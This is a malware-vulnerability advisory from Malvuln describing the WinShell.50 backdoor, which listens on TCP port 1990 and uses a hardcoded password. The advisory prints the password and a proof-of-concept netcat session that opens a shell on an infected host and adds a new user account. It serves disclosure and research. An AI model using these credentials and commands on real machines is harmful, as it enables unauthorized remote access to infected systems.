Friday, December 3, 2021

Backdoor.Win32.WinShell.50 Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8170928cd3e0f1a79b9d40ae19a4d217.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.50
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 1990. Authentication is required for remote user access. However, the password "tdkhbhhesdth" is weak and hardcoded within the executable.
Type: PE32
MD5: 8170928cd3e0f1a79b9d40ae19a4d217
Vuln ID: MVID-2021-0416
Disclosure: 12/03/2021


Exploit/PoC:
nc64.exe x.x.x.x 1990
WeLCoMe to X-FileZzZ & The^GoBLiN PubStro plz press password :tdkhbhhesdth

WinShell v5.0 (C)2002 janker.org

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user MALVULN hell /add
net user MALVULN hell /add
The command completed successfully.


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